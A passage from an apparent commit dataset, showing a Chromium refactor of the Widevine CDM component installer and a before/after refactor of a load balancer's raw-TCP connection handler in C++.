version));\n\n \/\/ Remove older versions of Widevine CDM.\n for (std::vector<base::FilePath>::iterator iter = older_dirs.begin();\n iter != older_dirs.end(); ++iter) {\n base::DeleteFile(*iter, true);\n }\n}\n\n#endif \/\/ defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n\n} \/\/ namespace\n\nvoid RegisterWidevineCdmComponent(ComponentUpdateService* cus) {\n#if defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,\n base::Bind(&StartWidevineCdmUpdateRegistration, cus));\n#endif \/\/ defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n}\n<commit_msg>Refactor Widevine component installer to use DefaultComponentInstaller.<commit_after>\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/component_updater\/widevine_cdm_component_installer.h\"\n\n#include <string.h>\n\n#include <vector>\n\n#include \"base\/base_paths.h\"\n#include \"base\/bind.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/file_util.h\"\n#include \"base\/files\/file_path.h\"\n#include \"base\/path_service.h\"\n#include \"base\/values.h\"\n#include \"build\/build_config.h\"\n#include \"chrome\/browser\/component_updater\/component_updater_service.h\"\n#include \"chrome\/browser\/component_updater\/default_component_installer.h\"\n#include \"chrome\/browser\/plugins\/plugin_prefs.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/widevine_cdm_constants.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/plugin_service.h\"\n#include \"content\/public\/common\/pepper_plugin_info.h\"\n#include \"third_party\/widevine\/cdm\/widevine_cdm_common.h\"\n\n#include \"widevine_cdm_version.h\" \/\/ In SHARED_INTERMEDIATE_DIR.\n\nusing content::BrowserThread;\nusing content::PluginService;\n\n#if defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n\nnamespace {\n\n\/\/ CRX hash. The extension id is: oimompecagnajdejgnnjijobebaeigek.\nconst uint8 kSha2Hash[] = { 0xe8, 0xce, 0xcf, 0x42, 0x06, 0xd0, 0x93, 0x49,\n 0x6d, 0xd9, 0x89, 0xe1, 0x41, 0x04, 0x86, 0x4a,\n 0x8f, 0xbd, 0x86, 0x12, 0xb9, 0x58, 0x9b, 0xfb,\n 0x4f, 0xbb, 0x1b, 0xa9, 0xd3, 0x85, 0x37, 0xef };\n\n\/\/ File name of the Widevine CDM component manifest on different platforms.\nconst char kWidevineCdmManifestName[] = \"WidevineCdm\";\n\n\/\/ Name of the Widevine CDM OS in the component manifest.\nconst char kWidevineCdmPlatform[] =\n#if defined(OS_MACOSX)\n \"mac\";\n#elif defined(OS_WIN)\n \"win\";\n#else \/\/ OS_LINUX, etc. TODO(viettrungluu): Separate out Chrome OS and Android?\n \"linux\";\n#endif\n\n\/\/ Name of the Widevine CDM architecture in the component manifest.\nconst char kWidevineCdmArch[] =\n#if defined(ARCH_CPU_X86)\n \"x86\";\n#elif defined(ARCH_CPU_X86_64)\n \"x64\";\n#else \/\/ TODO(viettrungluu): Support an ARM check?\n \"???\";\n#endif\n\n\/\/ Widevine CDM is packaged as a multi-CRX. Widevine CDM binaries are located in\n\/\/ _platform_specific\/<platform_arch> folder in the package. This function\n\/\/ returns the platform-specific subdirectory that is part of that multi-CRX.\nbase::FilePath GetPlatformDirectory(const base::FilePath& base_path) {\n std::string platform_arch = kWidevineCdmPlatform;\n platform_arch += '_';\n platform_arch += kWidevineCdmArch;\n return base_path.AppendASCII(\"_platform_specific\").AppendASCII(platform_arch);\n}\n\nbool MakeWidevineCdmPluginInfo(const base::FilePath& path,\n const base::Version& version,\n content::PepperPluginInfo* plugin_info) {\n if (!version.IsValid() ||\n version.components().size() !=\n static_cast<size_t>(kWidevineCdmVersionNumComponents)) {\n return false;\n }\n\n plugin_info->is_internal = false;\n \/\/ Widevine CDM must run out of process.\n plugin_info->is_out_of_process = true;\n plugin_info->path = path;\n plugin_info->name = kWidevineCdmDisplayName;\n plugin_info->description = kWidevineCdmDescription;\n plugin_info->version = version.GetString();\n content::WebPluginMimeType widevine_cdm_mime_type(\n kWidevineCdmPluginMimeType,\n kWidevineCdmPluginExtension,\n kWidevineCdmPluginMimeTypeDescription);\n plugin_info->mime_types.push_back(widevine_cdm_mime_type);\n plugin_info->permissions = kWidevineCdmPluginPermissions;\n\n return true;\n}\n\nvoid RegisterWidevineCdmWithChrome(const base::FilePath& path,\n const base::Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n content::PepperPluginInfo plugin_info;\n if (!MakeWidevineCdmPluginInfo(path, version, &plugin_info))\n return;\n\n PluginService::GetInstance()->RegisterInternalPlugin(\n plugin_info.ToWebPluginInfo(), true);\n PluginService::GetInstance()->RefreshPlugins();\n}\n\n} \/\/ namespace\n\nclass WidevineCdmComponentInstallerTraits : public ComponentInstallerTraits {\n public:\n WidevineCdmComponentInstallerTraits();\n virtual ~WidevineCdmComponentInstallerTraits() {}\n\n private:\n \/\/ The following methods override ComponentInstallerTraits.\n virtual bool CanAutoUpdate() const OVERRIDE;\n virtual bool OnCustomInstall(const base::DictionaryValue& manifest,\n const base::FilePath& install_dir) OVERRIDE;\n virtual bool VerifyInstallation(\n const base::FilePath& install_dir) const OVERRIDE;\n virtual void ComponentReady(const base::Version& version,\n const base::FilePath& path) OVERRIDE;\n virtual base::FilePath GetBaseDirectory() const OVERRIDE;\n virtual void GetHash(std::vector<uint8>* hash) const OVERRIDE;\n virtual std::string GetName() const OVERRIDE;\n DISALLOW_COPY_AND_ASSIGN(WidevineCdmComponentInstallerTraits);\n};\n\nWidevineCdmComponentInstallerTraits::WidevineCdmComponentInstallerTraits() {\n}\n\nbool WidevineCdmComponentInstallerTraits::CanAutoUpdate() const {\n return true;\n}\n\n\/\/ The adapter is copied into the install directory as part of the installation.\nbool WidevineCdmComponentInstallerTraits::OnCustomInstall(\n const base::DictionaryValue& manifest,\n const base::FilePath& install_path) {\n base::FilePath adapter_install_path = GetPlatformDirectory(install_path)\n .AppendASCII(kWidevineCdmAdapterFileName);\n base::FilePath adapter_source_path;\n PathService::Get(chrome::FILE_WIDEVINE_CDM_ADAPTER, &adapter_source_path);\n return base::CopyFile(adapter_source_path, adapter_install_path);\n}\n\n\/\/ Once the component is installed, register the new version with Chrome.\nvoid WidevineCdmComponentInstallerTraits::ComponentReady(\n const base::Version& version,\n const base::FilePath& path) {\n base::FilePath adapter_install_path = GetPlatformDirectory(path)\n .AppendASCII(kWidevineCdmAdapterFileName);\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE, base::Bind(\n &RegisterWidevineCdmWithChrome, adapter_install_path, version));\n}\n\nbool WidevineCdmComponentInstallerTraits::VerifyInstallation(\n const base::FilePath& install_dir) const {\n return base::PathExists(GetPlatformDirectory(install_dir)\n .AppendASCII(kWidevineCdmFileName))\n && base::PathExists(GetPlatformDirectory(install_dir)\n .AppendASCII(kWidevineCdmAdapterFileName));\n}\n\n\/\/ The base directory on Windows looks like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\.\nbase::FilePath WidevineCdmComponentInstallerTraits::GetBaseDirectory() const {\n base::FilePath result;\n PathService::Get(chrome::DIR_COMPONENT_WIDEVINE_CDM, &result);\n return result;\n}\n\nvoid WidevineCdmComponentInstallerTraits::GetHash(\n std::vector<uint8>* hash) const {\n hash->assign(kSha2Hash, kSha2Hash + arraysize(kSha2Hash));\n}\n\nstd::string WidevineCdmComponentInstallerTraits::GetName() const {\n return kWidevineCdmManifestName;\n}\n\n#endif \/\/ defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n\nvoid RegisterWidevineCdmComponent(ComponentUpdateService* cus) {\n#if defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n base::FilePath adapter_source_path;\n PathService::Get(chrome::FILE_WIDEVINE_CDM_ADAPTER, &adapter_source_path);\n if (!base::PathExists(adapter_source_path))\n return;\n scoped_ptr<ComponentInstallerTraits> traits(\n new WidevineCdmComponentInstallerTraits);\n \/\/ |cus| will take ownership of |installer| during installer->Register(cus).\n DefaultComponentInstaller* installer\n = new DefaultComponentInstaller(traits.Pass());\n installer->Register(cus);\n#else\n return;\n#endif \/\/ defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Handler for raw TCP connections.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"lb_tcp.hxx\"\n#include \"filtered_socket.hxx\"\n#include \"address_list.hxx\"\n#include \"client_balancer.hxx\"\n#include \"address_sticky.h\"\n#include \"async.hxx\"\n#include \"direct.hxx\"\n#include \"pool.hxx\"\n#include \"net\/ConnectSocket.hxx\"\n#include \"net\/SocketDescriptor.hxx\"\n#include \"net\/SocketAddress.hxx\"\n\n#include <unistd.h>\n#include <errno.h>\n\nstruct LbTcpConnection final : ConnectSocketHandler {\n struct pool *pool;\n Stock *pipe_stock;\n\n const LbTcpConnectionHandler *handler;\n void *handler_ctx;\n\n FilteredSocket inbound;\n\n BufferedSocket outbound;\n\n struct async_operation_ref connect;\n\n bool got_inbound_data, got_outbound_data;\n\n \/* virtual methods from class ConnectSocketHandler *\/\n void OnSocketConnectSuccess(SocketDescriptor &&fd) override;\n void OnSocketConnectTimeout() override;\n void OnSocketConnectError(GError *error) override;\n};\n\nstatic constexpr timeval write_timeout = { 30, 0 };\n\nstatic void\nlb_tcp_destroy_inbound(LbTcpConnection *tcp)\n{\n if (tcp->inbound.IsConnected())\n tcp->inbound.Close();\n\n tcp->inbound.Destroy();\n}\n\nstatic void\nlb_tcp_destroy_outbound(LbTcpConnection *tcp)\n{\n if (tcp->outbound.IsConnected())\n tcp->outbound.Close();\n\n tcp->outbound.Destroy();\n}\n\n\/*\n * inbound BufferedSocketHandler\n *\n *\/\n\nstatic BufferedResult\ninbound_buffered_socket_data(const void *buffer, size_t size, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_inbound_data = true;\n\n if (tcp->connect.IsDefined())\n \/* outbound is not yet connected *\/\n return BufferedResult::BLOCKING;\n\n if (!tcp->outbound.IsValid()) {\n lb_tcp_close(tcp);\n tcp->handler->error(\"Send error\", \"Broken socket\", tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n ssize_t nbytes = tcp->outbound.Write(buffer, size);\n if (nbytes > 0) {\n tcp->inbound.Consumed(nbytes);\n return (size_t)nbytes == size\n ? BufferedResult::OK\n : BufferedResult::PARTIAL;\n }\n\n switch ((enum write_result)nbytes) {\n case WRITE_SOURCE_EOF:\n assert(false);\n gcc_unreachable();\n\n case WRITE_ERRNO:\n lb_tcp_close(tcp);\n tcp->handler->_errno(\"Send failed\", errno, tcp->handler_ctx);\n return BufferedResult::CLOSED;\n\n case WRITE_BLOCKING:\n return BufferedResult::BLOCKING;\n\n case WRITE_DESTROYED:\n return BufferedResult::CLOSED;\n\n case WRITE_BROKEN:\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n assert(false);\n gcc_unreachable();\n}\n\nstatic bool\ninbound_buffered_socket_closed(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return false;\n}\n\nstatic bool\ninbound_buffered_socket_write(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_outbound_data = false;\n\n if (!tcp->outbound.Read(false))\n return false;\n\n if (!tcp->got_outbound_data)\n tcp->inbound.UnscheduleWrite();\n return true;\n}\n\nstatic bool\ninbound_buffered_socket_drained(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n if (!tcp->outbound.IsValid()) {\n \/* now that inbound's output buffers are drained, we can\n finally close the connection (postponed from\n outbound_buffered_socket_end()) *\/\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return false;\n }\n\n return true;\n}\n\nstatic enum write_result\ninbound_buffered_socket_broken(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return WRITE_DESTROYED;\n}\n\nstatic void\ninbound_buffered_socket_error(GError *error, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->gerror(\"Error\", error, tcp->handler_ctx);\n}\n\nstatic constexpr BufferedSocketHandler inbound_buffered_socket_handler = {\n inbound_buffered_socket_data,\n nullptr, \/\/ TODO: inbound_buffered_socket_direct,\n inbound_buffered_socket_closed,\n nullptr,\n nullptr,\n inbound_buffered_socket_write,\n inbound_buffered_socket_drained,\n nullptr,\n inbound_buffered_socket_broken,\n inbound_buffered_socket_error,\n};\n\n\/*\n * outbound buffered_socket_handler\n *\n *\/\n\nstatic BufferedResult\noutbound_buffered_socket_data(const void *buffer, size_t size, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_outbound_data = true;\n\n ssize_t nbytes = tcp->inbound.Write(buffer, size);\n if (nbytes > 0) {\n tcp->outbound.Consumed(nbytes);\n return (size_t)nbytes == size\n ? BufferedResult::OK\n : BufferedResult::PARTIAL;\n }\n\n switch ((enum write_result)nbytes) {\n int save_errno;\n\n case WRITE_SOURCE_EOF:\n assert(false);\n gcc_unreachable();\n\n case WRITE_ERRNO:\n save_errno = errno;\n lb_tcp_close(tcp);\n tcp->handler->_errno(\"Send failed\", save_errno, tcp->handler_ctx);\n return BufferedResult::CLOSED;\n\n case WRITE_BLOCKING:\n return BufferedResult::BLOCKING;\n\n case WRITE_DESTROYED:\n return BufferedResult::CLOSED;\n\n case WRITE_BROKEN:\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n assert(false);\n gcc_unreachable();\n}\n\nstatic bool\noutbound_buffered_socket_closed(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->outbound.Close();\n return true;\n}\n\nstatic void\noutbound_buffered_socket_end(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->outbound.Destroy();\n\n tcp->inbound.UnscheduleWrite();\n\n if (tcp->inbound.IsDrained()) {\n \/* all output buffers to \"inbound\" are drained; close the\n connection, because there's nothing left to do *\/\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n\n \/* nothing will be done if the buffers are not yet drained;\n we're waiting for inbound_buffered_socket_drained() to be\n called *\/\n }\n}\n\nstatic bool\noutbound_buffered_socket_write(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_inbound_data = false;\n\n if (!tcp->inbound.Read(false))\n return false;\n\n if (!tcp->got_inbound_data)\n tcp->outbound.UnscheduleWrite();\n return true;\n}\n\nstatic enum write_result\noutbound_buffered_socket_broken(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return WRITE_DESTROYED;\n}\n\nstatic void\noutbound_buffered_socket_error(GError *error, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->gerror(\"Error\", error, tcp->handler_ctx);\n}\n\nstatic constexpr BufferedSocketHandler outbound_buffered_socket_handler = {\n outbound_buffered_socket_data,\n nullptr, \/\/ TODO: outbound_buffered_socket_direct,\n outbound_buffered_socket_closed,\n nullptr,\n outbound_buffered_socket_end,\n outbound_buffered_socket_write,\n nullptr,\n nullptr,\n outbound_buffered_socket_broken,\n outbound_buffered_socket_error,\n};\n\n\/*\n * ConnectSocketHandler\n *\n *\/\n\nvoid\nLbTcpConnection::OnSocketConnectSuccess(SocketDescriptor &&fd)\n{\n connect.Clear();\n\n outbound.Init(*pool,\n fd.Steal(), FdType::FD_TCP,\n nullptr, &write_timeout,\n outbound_buffered_socket_handler, this);\n\n \/* TODO\n outbound.direct = pipe_stock != nullptr &&\n (ISTREAM_TO_TCP & FdType::FD_PIPE) != 0 &&\n (istream_direct_mask_to(inbound.base.base.fd_type) & FdType::FD_PIPE) != 0;\n *\/\n\n if (inbound.Read(false))\n outbound.Read(false);\n}\n\nvoid\nLbTcpConnection::OnSocketConnectTimeout()\n{\n lb_tcp_destroy_inbound(this);\n handler->error(\"Connect error\", \"Timeout\", handler_ctx);\n}\n\nvoid\nLbTcpConnection::OnSocketConnectError(GError *error)\n{\n lb_tcp_destroy_inbound(this);\n handler->gerror(\"Connect error\", error, handler_ctx);\n}\n\n\/*\n * constructor\n *\n *\/\n\ngcc_pure\nstatic unsigned\nlb_tcp_sticky(const AddressList &address_list,\n const struct sockaddr *remote_address)\n{\n switch (address_list.sticky_mode) {\n case StickyMode::NONE:\n case StickyMode::FAILOVER:\n break;\n\n case StickyMode::SOURCE_IP:\n return socket_address_sticky(remote_address);\n\n case StickyMode::SESSION_MODULO:\n case StickyMode::COOKIE:\n case StickyMode::JVM_ROUTE:\n \/* not implemented here *\/\n break;\n }\n\n return 0;\n}\n\nvoid\nlb_tcp_new(struct pool *pool, Stock *pipe_stock,\n SocketDescriptor &&fd, FdType fd_type,\n const SocketFilter *filter, void *filter_ctx,\n SocketAddress remote_address,\n bool transparent_source,\n const AddressList &address_list,\n struct balancer &balancer,\n const LbTcpConnectionHandler *handler, void *ctx,\n LbTcpConnection **tcp_r)\n{\n auto *tcp = NewFromPool<LbTcpConnection>(*pool);\n tcp->pool = pool;\n tcp->pipe_stock = pipe_stock;\n tcp->handler = handler;\n tcp->handler_ctx = ctx;\n\n tcp->inbound.Init(*pool, fd.Steal(), fd_type,\n nullptr, &write_timeout,\n filter, filter_ctx,\n inbound_buffered_socket_handler, tcp);\n \/* TODO\n tcp->inbound.base.direct = pipe_stock != nullptr &&\n (ISTREAM_TO_PIPE & fd_type) != 0 &&\n (ISTREAM_TO_TCP & FdType::FD_PIPE) != 0;\n *\/\n\n unsigned session_sticky = lb_tcp_sticky(address_list,\n remote_address.GetAddress());\n\n SocketAddress bind_address = SocketAddress::Null();\n\n if (transparent_source) {\n bind_address = remote_address;\n\n \/* reset the port to 0 to allow the kernel to choose one *\/\n if (bind_address.GetFamily() == AF_INET) {\n struct sockaddr_in *s_in = (struct sockaddr_in *)\n p_memdup(pool, bind_address.GetAddress(),\n bind_address.GetSize());\n s_in->sin_port = 0;\n bind_address = SocketAddress((const struct sockaddr *)s_in,\n bind_address.GetSize());\n } else if (bind_address.GetFamily() == AF_INET6) {\n struct sockaddr_in6 *s_in = (struct sockaddr_in6 *)\n p_memdup(pool, bind_address.GetAddress(),\n bind_address.GetSize());\n s_in->sin6_port = 0;\n bind_address = SocketAddress((const struct sockaddr *)s_in,\n bind_address.GetSize());\n }\n }\n\n *tcp_r = tcp;\n\n client_balancer_connect(pool, &balancer,\n transparent_source,\n bind_address,\n session_sticky,\n &address_list,\n 20,\n *tcp,\n &tcp->connect);\n}\n\nvoid\nlb_tcp_close(LbTcpConnection *tcp)\n{\n if (tcp->inbound.IsValid())\n lb_tcp_destroy_inbound(tcp);\n\n if (tcp->connect.IsDefined())\n tcp->connect.Abort();\n else if (tcp->outbound.IsValid())\n lb_tcp_destroy_outbound(tcp);\n}\n<commit_msg>lb_tcp: move functions into the struct<commit_after>\/*\n * Handler for raw TCP connections.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"lb_tcp.hxx\"\n#include \"filtered_socket.hxx\"\n#include \"address_list.hxx\"\n#include \"client_balancer.hxx\"\n#include \"address_sticky.h\"\n#include \"async.hxx\"\n#include \"direct.hxx\"\n#include \"pool.hxx\"\n#include \"net\/ConnectSocket.hxx\"\n#include \"net\/SocketDescriptor.hxx\"\n#include \"net\/SocketAddress.hxx\"\n\n#include <unistd.h>\n#include <errno.h>\n\nstruct LbTcpConnection final : ConnectSocketHandler {\n struct pool *pool;\n Stock *pipe_stock;\n\n const LbTcpConnectionHandler *handler;\n void *handler_ctx;\n\n FilteredSocket inbound;\n\n BufferedSocket outbound;\n\n struct async_operation_ref connect;\n\n bool got_inbound_data, got_outbound_data;\n\n void DestroyInbound();\n void DestroyOutbound();\n\n \/* virtual methods from class ConnectSocketHandler *\/\n void OnSocketConnectSuccess(SocketDescriptor &&fd) override;\n void OnSocketConnectTimeout() override;\n void OnSocketConnectError(GError *error) override;\n};\n\nstatic constexpr timeval write_timeout = { 30, 0 };\n\nvoid\nLbTcpConnection::DestroyInbound()\n{\n if (inbound.IsConnected())\n inbound.Close();\n\n inbound.Destroy();\n}\n\nvoid\nLbTcpConnection::DestroyOutbound()\n{\n if (outbound.IsConnected())\n outbound.Close();\n\n outbound.Destroy();\n}\n\n\/*\n * inbound BufferedSocketHandler\n *\n *\/\n\nstatic BufferedResult\ninbound_buffered_socket_data(const void *buffer, size_t size, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_inbound_data = true;\n\n if (tcp->connect.IsDefined())\n \/* outbound is not yet connected *\/\n return BufferedResult::BLOCKING;\n\n if (!tcp->outbound.IsValid()) {\n lb_tcp_close(tcp);\n tcp->handler->error(\"Send error\", \"Broken socket\", tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n ssize_t nbytes = tcp->outbound.Write(buffer, size);\n if (nbytes > 0) {\n tcp->inbound.Consumed(nbytes);\n return (size_t)nbytes == size\n ? BufferedResult::OK\n : BufferedResult::PARTIAL;\n }\n\n switch ((enum write_result)nbytes) {\n case WRITE_SOURCE_EOF:\n assert(false);\n gcc_unreachable();\n\n case WRITE_ERRNO:\n lb_tcp_close(tcp);\n tcp->handler->_errno(\"Send failed\", errno, tcp->handler_ctx);\n return BufferedResult::CLOSED;\n\n case WRITE_BLOCKING:\n return BufferedResult::BLOCKING;\n\n case WRITE_DESTROYED:\n return BufferedResult::CLOSED;\n\n case WRITE_BROKEN:\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n assert(false);\n gcc_unreachable();\n}\n\nstatic bool\ninbound_buffered_socket_closed(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return false;\n}\n\nstatic bool\ninbound_buffered_socket_write(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_outbound_data = false;\n\n if (!tcp->outbound.Read(false))\n return false;\n\n if (!tcp->got_outbound_data)\n tcp->inbound.UnscheduleWrite();\n return true;\n}\n\nstatic bool\ninbound_buffered_socket_drained(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n if (!tcp->outbound.IsValid()) {\n \/* now that inbound's output buffers are drained, we can\n finally close the connection (postponed from\n outbound_buffered_socket_end()) *\/\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return false;\n }\n\n return true;\n}\n\nstatic enum write_result\ninbound_buffered_socket_broken(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return WRITE_DESTROYED;\n}\n\nstatic void\ninbound_buffered_socket_error(GError *error, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->gerror(\"Error\", error, tcp->handler_ctx);\n}\n\nstatic constexpr BufferedSocketHandler inbound_buffered_socket_handler = {\n inbound_buffered_socket_data,\n nullptr, \/\/ TODO: inbound_buffered_socket_direct,\n inbound_buffered_socket_closed,\n nullptr,\n nullptr,\n inbound_buffered_socket_write,\n inbound_buffered_socket_drained,\n nullptr,\n inbound_buffered_socket_broken,\n inbound_buffered_socket_error,\n};\n\n\/*\n * outbound buffered_socket_handler\n *\n *\/\n\nstatic BufferedResult\noutbound_buffered_socket_data(const void *buffer, size_t size, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_outbound_data = true;\n\n ssize_t nbytes = tcp->inbound.Write(buffer, size);\n if (nbytes > 0) {\n tcp->outbound.Consumed(nbytes);\n return (size_t)nbytes == size\n ? BufferedResult::OK\n : BufferedResult::PARTIAL;\n }\n\n switch ((enum write_result)nbytes) {\n int save_errno;\n\n case WRITE_SOURCE_EOF:\n assert(false);\n gcc_unreachable();\n\n case WRITE_ERRNO:\n save_errno = errno;\n lb_tcp_close(tcp);\n tcp->handler->_errno(\"Send failed\", save_errno, tcp->handler_ctx);\n return BufferedResult::CLOSED;\n\n case WRITE_BLOCKING:\n return BufferedResult::BLOCKING;\n\n case WRITE_DESTROYED:\n return BufferedResult::CLOSED;\n\n case WRITE_BROKEN:\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n assert(false);\n gcc_unreachable();\n}\n\nstatic bool\noutbound_buffered_socket_closed(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->outbound.Close();\n return true;\n}\n\nstatic void\noutbound_buffered_socket_end(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->outbound.Destroy();\n\n tcp->inbound.UnscheduleWrite();\n\n if (tcp->inbound.IsDrained()) {\n \/* all output buffers to \"inbound\" are drained; close the\n connection, because there's nothing left to do *\/\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n\n \/* nothing will be done if the buffers are not yet drained;\n we're waiting for inbound_buffered_socket_drained() to be\n called *\/\n }\n}\n\nstatic bool\noutbound_buffered_socket_write(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_inbound_data = false;\n\n if (!tcp->inbound.Read(false))\n return false;\n\n if (!tcp->got_inbound_data)\n tcp->outbound.UnscheduleWrite();\n return true;\n}\n\nstatic enum write_result\noutbound_buffered_socket_broken(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return WRITE_DESTROYED;\n}\n\nstatic void\noutbound_buffered_socket_error(GError *error, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->gerror(\"Error\", error, tcp->handler_ctx);\n}\n\nstatic constexpr BufferedSocketHandler outbound_buffered_socket_handler = {\n outbound_buffered_socket_data,\n nullptr, \/\/ TODO: outbound_buffered_socket_direct,\n outbound_buffered_socket_closed,\n nullptr,\n outbound_buffered_socket_end,\n outbound_buffered_socket_write,\n nullptr,\n nullptr,\n outbound_buffered_socket_broken,\n outbound_buffered_socket_error,\n};\n\n\/*\n * ConnectSocketHandler\n *\n *\/\n\nvoid\nLbTcpConnection::OnSocketConnectSuccess(SocketDescriptor &&fd)\n{\n connect.Clear();\n\n outbound.Init(*pool,\n fd.Steal(), FdType::FD_TCP,\n nullptr, &write_timeout,\n outbound_buffered_socket_handler, this);\n\n \/* TODO\n outbound.direct = pipe_stock != nullptr &&\n (ISTREAM_TO_TCP & FdType::FD_PIPE) != 0 &&\n (istream_direct_mask_to(inbound.base.base.fd_type) & FdType::FD_PIPE) != 0;\n *\/\n\n if (inbound.Read(false))\n outbound.Read(false);\n}\n\nvoid\nLbTcpConnection::OnSocketConnectTimeout()\n{\n DestroyInbound();\n handler->error(\"Connect error\", \"Timeout\", handler_ctx);\n}\n\nvoid\nLbTcpConnection::OnSocketConnectError(GError *error)\n{\n DestroyInbound();\n handler->gerror(\"Connect error\", error, handler_ctx);\n}\n\n\/*\n * constructor\n *\n *\/\n\ngcc_pure\nstatic unsigned\nlb_tcp_sticky(const AddressList &address_list,\n const struct sockaddr *remote_address)\n{\n switch (address_list.sticky_mode) {\n case StickyMode::NONE:\n case StickyMode::FAILOVER:\n break;\n\n case StickyMode::SOURCE_IP:\n return socket_address_sticky(remote_address);\n\n case StickyMode::SESSION_MODULO:\n case StickyMode::COOKIE:\n case StickyMode::JVM_ROUTE:\n \/* not implemented here *\/\n break;\n }\n\n return 0;\n}\n\nvoid\nlb_tcp_new(struct pool *pool, Stock *pipe_stock,\n SocketDescriptor &&fd, FdType fd_type,\n const SocketFilter *filter, void *filter_ctx,\n SocketAddress remote_address,\n bool transparent_source,\n const AddressList &address_list,\n struct balancer &balancer,\n const LbTcpConnectionHandler *handler, void *ctx,\n LbTcpConnection **tcp_r)\n{\n auto *tcp = NewFromPool<LbTcpConnection>(*pool);\n tcp->pool = pool;\n tcp->pipe_stock = pipe_stock;\n tcp->handler = handler;\n tcp->handler_ctx = ctx;\n\n tcp->inbound.Init(*pool, fd.Steal(), fd_type,\n nullptr, &write_timeout,\n filter, filter_ctx,\n inbound_buffered_socket_handler, tcp);\n \/* TODO\n tcp->inbound.base.direct = pipe_stock != nullptr &&\n (ISTREAM_TO_PIPE & fd_type) != 0 &&\n (ISTREAM_TO_TCP & FdType::FD_PIPE) != 0;\n *\/\n\n unsigned 